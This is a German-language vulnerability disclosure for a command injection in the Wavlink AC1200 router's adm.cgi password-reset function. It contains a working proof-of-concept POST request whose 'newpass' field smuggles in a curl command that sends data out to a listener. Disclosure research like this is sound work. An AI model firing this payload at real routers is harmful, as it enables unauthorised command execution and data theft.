
Wavlink AC1200 mit den Firmware-Versionen M32A3_V1410_230602 und M32A3_V1410_240222 ist anfällig für eine Command Injection nach der Authentifizierung beim Zurücksetzen des Passworts. Diese Schwachstelle befindet sich speziell in der Funktion „set_sys_adm" des Binärprogramms „adm.cgi" und ist auf eine unzureichende Bereinigung des vom Benutzer bereitgestellten Felds „newpass" zurückzuführen.
Im Rahmen einer aktuellen Sicherheitsforschung zum Wavlink AC1200 (Modell: WL-WN532A3) wurde eine Command-Injection-Schwachstelle nach der Authentifizierung im Endpunkt "/cgi-bin/adm.cgi" identifiziert. Diese Schwachstelle könnte es Angreifern, die die Zugangsdaten des Routers kompromittiert haben, ermöglichen, beliebige Shell-Befehle auszuführen. Für diese Schwachstelle ist die Zuweisung einer CVE-Nummer derzeit noch ausstehend.
Nach Erhalt des Wavlink-AC1200-Routers wurde die geladene Firmware als 'M32A3_V1410_230602' identifiziert. Diese spezifische Firmware-Version war jedoch nicht über die offizielle Wavlink-Support-Website verfügbar. Wavlink stellte nur eine Firmware-Version bereit, M32A3_V1410_240222, die etwa acht Monate neuer ist. Während der Analyse wurde entschieden, die neuere verfügbare Firmware zu untersuchen und gleichzeitig zu versuchen, etwaige Schwachstellen in der alten Version auszunutzen, um zu bestätigen, ob identifizierte Schwachstellen beide Firmware-Versionen betrafen. Dies machte auch die manuelle Extraktion der Firmware vom Gerät überflüssig. Das Extrahieren des Root-Dateisystems erfolgte einfach über die Extraktionsfunktion von 'binwalk'. Die Firmware M32A3_V1410_240222 ist über den folgenden Link zum Download verfügbar: https://docs.wavlink.xyz/Firmware/fm-532a3/

Die anfängliche Forschung konzentrierte sich auf die Identifizierung der Angriffsfläche für Command Injections. Obwohl viele Aufrufe von system, popen und verschiedenen importierten Hilfsfunktionen zur Ausführung von Systembefehlen erfolgten, handelte es sich bei vielen lediglich um Aufrufe vorgefertigter Bash-Skripte, bei denen eine Injektion nicht möglich war. Ein Aufruf von system in der Funktion set_sys_adm innerhalb von /etc_ro/lighttpd/www/cgi-bin/adm.cgi erregte jedoch beim ersten Hinsehen sofort Verdacht, da ein mit sprintf formatiertes char-Array übergeben wurde. Bei näherer Untersuchung wurde festgestellt, dass die Funktion versuchte, die Eingabe eines vom Benutzer bereitgestellten Passworts zu bereinigen, indem sie nach dem Zeichen ; suchte. Diese Bereinigung berücksichtigt jedoch keine anderen Command-Injection-Techniken.
Das folgende Bild zeigt die Disassemblierung von set_sys_adm. Einige Variablennamen wurden geändert, um die Analyse dieser Funktion zu erleichtern. Im Bild ist zu sehen, dass die Funktion das Feld password in Zeile 40 aus einer Webanfrage abruft und dann sicherstellt, dass es weder NULL ist, ein Semikolon (;) enthält noch denselben Wert wie das zuvor gespeicherte Passwort hat (Zeilen 58-60). Dieser Wert wird dann an einen sprintf-Aufruf übergeben, der einen Befehl wie folgt aufbaut: echo "<username.:<password>" > /etc/lighttpd.user. Diese formatierte Zeichenkette wird anschließend sofort an einen Aufruf von system übergeben.

Das war ein großartiger Fund, aber es war an der Zeit herauszufinden, von wo aus diese Schwachstelle über das Webportal erreichbar war. Schnell wurde identifiziert, dass diese Funktion beim Zurücksetzen des Passworts über die Seite "Login Password" aufgerufen wurde.

Nachdem diese Webseite identifiziert war, wurde die HTTP-POST-Anfrage mit Burp Suite erfasst. Die Anfrage sieht wie folgt aus:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
Da die Command-Injection-Schwachstelle nun verstanden und identifiziert worden war, von wo aus sie erreichbar ist, war es an der Zeit, einen Ausnutzungsversuch zu unternehmen. Die folgende Anfrage wurde gesendet, um den Router zu zwingen, eine curl-Anfrage an einen netcat-Listener zu senden und gleichzeitig Daten über das User-Agent-Feld zu exfiltrieren. Der Befehl lautet vor der URL-Kodierung und dem Einfügen in die Anfrage wie folgt: curl http://192.168.1.6:4567/ -A $(pwd). Der in eine HTTP-POST-Anfrage eingefügte Befehl sieht wie folgt aus:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
Nach dem Senden der Anfrage erhalten wir die Bestätigung, dass die Schwachstelle ausnutzbar ist.
